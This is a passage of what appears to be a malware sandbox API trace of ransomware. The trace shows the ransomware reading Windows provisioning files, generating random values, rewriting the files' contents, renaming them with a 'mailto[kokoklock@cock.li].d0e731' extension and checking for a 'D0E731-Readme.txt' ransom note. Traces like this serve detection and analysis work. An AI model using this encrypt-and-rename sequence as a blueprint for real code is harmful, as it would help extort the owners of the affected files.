Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.581] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.582] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.582] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.582] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.582] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.582] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.582] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.582] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.582] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.582] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d9758) returned 1 [0087.582] RtlExitUserThread (Status=0x1) Thread: id = 1368 os_tid = 0x11a0 [0087.585] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.586] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.586] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.586] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f8bfc24 | out: lpFileSize=0x2f8bfc24*=715) returned 1 [0087.586] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.586] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f8bfbf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f8bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x2f8bfbf8*, lpNumberOfBytesRead=0x2f8bfbf4*=0x4, lpOverlapped=0x0) returned 1 [0087.588] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc408 [0087.588] NtQuerySystemTime (in: CurrentTime=0x2f8bfbd0 | out: CurrentTime=0x2f8bfbd0*=132121176454864007) returned 0x0 [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0xd1db73ca [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0xbf36e9e [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x915ee70f [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x33393412 [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x1d375a9d [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x2e3e21eb [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x2e8e498c [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x379bf6a8 [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x7a08e0b1 [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0xfd57b978 [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x575f4f7f [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x3f9061ed [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0xf0886d32 [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x15bb9f8 [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x4d278557 [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x8396a9bf [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x80d06069 [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x39d9c598 [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x5a8ed893 [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0xc77c962b [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x820c3102 [0087.588] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x6011c322 [0087.589] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x1959a5c8 [0087.589] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x27959fda [0087.589] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0xda96a48f [0087.589] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0xa46a1ca1 [0087.589] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x7a92ea71 [0087.589] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x42b76a4 [0087.589] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0xec9e2131 [0087.589] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x3dafcf9 [0087.589] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x337cd2ee [0087.589] RtlRandom (in: Seed=0x2f8bfbdc | out: Seed=0x2f8bfbdc) returned 0x7aef738f [0087.599] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x2f8bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f8bfbd0*=0x2cb, lpOverlapped=0x0) returned 1 [0087.599] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8bfb98 | out: lpNewFilePointer=0x0) returned 1 [0087.599] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2cb, lpNumberOfBytesWritten=0x2f8bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f8bfbcc*=0x2cb, lpOverlapped=0x0) returned 1 [0087.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.599] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.599] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f8bfbc8, lpOverlapped=0x0 | out: lpBuffer=0x55dc340*, lpNumberOfBytesWritten=0x2f8bfbc8*=0x20, lpOverlapped=0x0) returned 1 [0087.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc340) returned 1 [0087.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.600] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dca70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f8bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x55dca70*, lpNumberOfBytesWritten=0x2f8bfbf4*=0x8, lpOverlapped=0x0) returned 1 [0087.600] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f8bfc0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f8bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x2f8bfc0c*, lpNumberOfBytesWritten=0x2f8bfbf4*=0x4, lpOverlapped=0x0) returned 1 [0087.600] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f8bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f8bfbf4*=0x4, lpOverlapped=0x0) returned 1 [0087.600] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f8bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f8bfbf4*=0x6c, lpOverlapped=0x0) returned 1 [0087.600] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f8bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f8bfbf4*=0x20, lpOverlapped=0x0) returned 1 [0087.600] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f8bfbf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f8bfbf4*=0x4, lpOverlapped=0x0) returned 1 [0087.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.601] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.601] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dca70) returned 1 [0087.601] CloseHandle (hObject=0x3d0) returned 1 [0087.601] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x186) returned 0x33fc9c8 [0087.601] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0087.601] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.601] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.602] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.602] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.602] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.602] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.602] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.602] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.602] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.602] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8330) returned 1 [0087.602] RtlExitUserThread (Status=0x1) Thread: id = 1369 os_tid = 0x11a4 [0087.604] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml")) returned 0x20 [0087.604] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.604] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.604] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f93fe94 | out: lpFileSize=0x2f93fe94*=723) returned 1 [0087.605] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.605] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f93fe68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f93fe64, lpOverlapped=0x0 | out: lpBuffer=0x2f93fe68*, lpNumberOfBytesRead=0x2f93fe64*=0x4, lpOverlapped=0x0) returned 1 [0087.606] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc958 [0087.606] NtQuerySystemTime (in: CurrentTime=0x2f93fe40 | out: CurrentTime=0x2f93fe40*=132121176455007367) returned 0x0 [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x21507d5e [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x6355341 [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xc29ee1a4 [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x231177a2 [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x35cf8e5c [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x6192432b [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x97464e8 [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xbb303daa [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x56ef35fd [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x4add7f72 [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x3c380b81 [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xff610f77 [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xb72b20a0 [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x75cfd56 [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xdd79d3d7 [0087.606] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x7f6bd2d5 [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x2c249480 [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x9219848a [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xfe9c9776 [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xffddfc1e [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xcdd3989b [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xf9285b20 [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x41dcce67 [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xfc6731fe [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xe4dc5a0e [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x14cb0645 [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x520de888 [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x8af8c2b7 [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0x5f3e71af [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xb0eb9e23 [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xc39b4e54 [0087.607] RtlRandom (in: Seed=0x2f93fe4c | out: Seed=0x2f93fe4c) returned 0xfc34557e [0087.617] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x2f93fe40, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f93fe40*=0x2d3, lpOverlapped=0x0) returned 1 [0087.617] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f93fe08 | out: lpNewFilePointer=0x0) returned 1 [0087.617] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d3, lpNumberOfBytesWritten=0x2f93fe3c, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f93fe3c*=0x2d3, lpOverlapped=0x0) returned 1 [0087.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcac0 [0087.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.618] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcac0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f93fe38, lpOverlapped=0x0 | out: lpBuffer=0x55dcac0*, lpNumberOfBytesWritten=0x2f93fe38*=0x20, lpOverlapped=0x0) returned 1 [0087.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcac0) returned 1 [0087.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.618] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dca70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f93fe64, lpOverlapped=0x0 | out: lpBuffer=0x55dca70*, lpNumberOfBytesWritten=0x2f93fe64*=0x8, lpOverlapped=0x0) returned 1 [0087.618] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f93fe7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f93fe64, lpOverlapped=0x0 | out: lpBuffer=0x2f93fe7c*, lpNumberOfBytesWritten=0x2f93fe64*=0x4, lpOverlapped=0x0) returned 1 [0087.618] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f93fe64, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f93fe64*=0x4, lpOverlapped=0x0) returned 1 [0087.618] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f93fe64, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f93fe64*=0x6c, lpOverlapped=0x0) returned 1 [0087.618] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f93fe64, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2f93fe64*=0x20, lpOverlapped=0x0) returned 1 [0087.618] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f93fe64, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f93fe64*=0x4, lpOverlapped=0x0) returned 1 [0087.618] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) 